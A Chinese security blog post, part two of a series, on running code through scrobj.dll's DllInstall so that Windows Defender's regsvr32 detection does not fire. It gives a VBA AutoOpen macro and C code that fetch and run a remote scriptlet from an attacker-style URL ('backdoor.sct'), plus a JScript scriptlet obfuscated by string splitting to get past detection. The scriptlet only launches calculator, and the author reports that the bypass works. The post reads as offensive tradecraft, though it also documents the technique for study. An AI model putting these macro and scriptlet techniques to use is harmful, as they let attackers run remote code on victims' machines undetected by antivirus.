首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >regsvr32绕过(二)

regsvr32绕过(二)

作者头像
鸿鹄实验室
发布2021-04-01 10:49:50
发布2021-04-01 10:49:50
9360
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

很久之前写过一篇regsvr32绕过的文章,今天更新第二篇。

测试环境如下:

在电脑上执行:

我们看一下具体是哪里出了问题,查看windows defender的详细:

发现主要是Cmdline这里报的错,当然分类这里是因为MSF的脚本内容触发了AMSI的内容:

这里先不探究AMSI的绕过问题,只讨论执行的问题。之前已经分享过了一些绕过手法,这里只讨论之前没说过的手法即调用scrobj.dll 的 DllInstall实现代码执行。Regsvr32.exe仅仅是白名单而已,主要操作还是scrobj.dll 在做。

其函数原型为:

代码语言:javascript
复制
HRESULT DllInstall(
  BOOL   bInstall,
  PCWSTR pszCmdLine
);

关于该函数的具体作用可以参看msdn:https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall

所以,我们便可以尝试使用该函数来实现和Regsvr32.exe一样的功能。根据该文章所言,我们可以通过VBA的方法来实现该功能:

代码语言:javascript
复制
Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
    DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") 'False ="Don't install"
End Sub

其实就跟导出函数下载文件类似。sct内容如下:

代码语言:javascript
复制
<?XML version="1.0"?>
<component id="TESTING">
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]>
</script>
</registration>
</component>

不过终究宏再实战中可能受众面更窄一些,于是用C实现同样的功能,注意开启CLR:

代码来自@REInject

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tchar.h>

int main()
{
    TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
    HMODULE hDllScr = LoadLibrary(dllpath);
    if (hDllScr == NULL)
    {
        puts("Load scrobj.dll fail!");
    }
    puts("Load scrobj.dll success!");
    printf("Address: %p\n", hDllScr);
    void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
    if (DllInstallProcAddr == NULL)
    {
        puts("Can not found DllInstall in scrobj.dll!");
    }
    printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
    //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
    ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
    return 0;
}

这个时候,我们再来看一下windows defender的反映:

此时便变成了JS的问题了,那么我们在对我们的sct文件进行变形,变成下面这样:

代码语言:javascript
复制
<?XML version="1.0"?>
<component id="TESTING">
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var wsc = "WScript.Shell";
      var com = "calc";
      com.concat(".","e","x","e");
      var foo = new ActiveXObject(wsc).Run(com);
    ]]>
</script>
</registration>
</component>

执行,便成功弹出了计算器。

此时便绕过了windows defender来执行了我们的代码。

后来再查找资料的过程中,发现了一个叫做Dllinstailler的项目,简介为C# DLL Installer like regsvr32,但是后来发现,它真的只是能dll,遂放弃。

参考文章:

https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/#

https://docs.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-dllinstall

https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档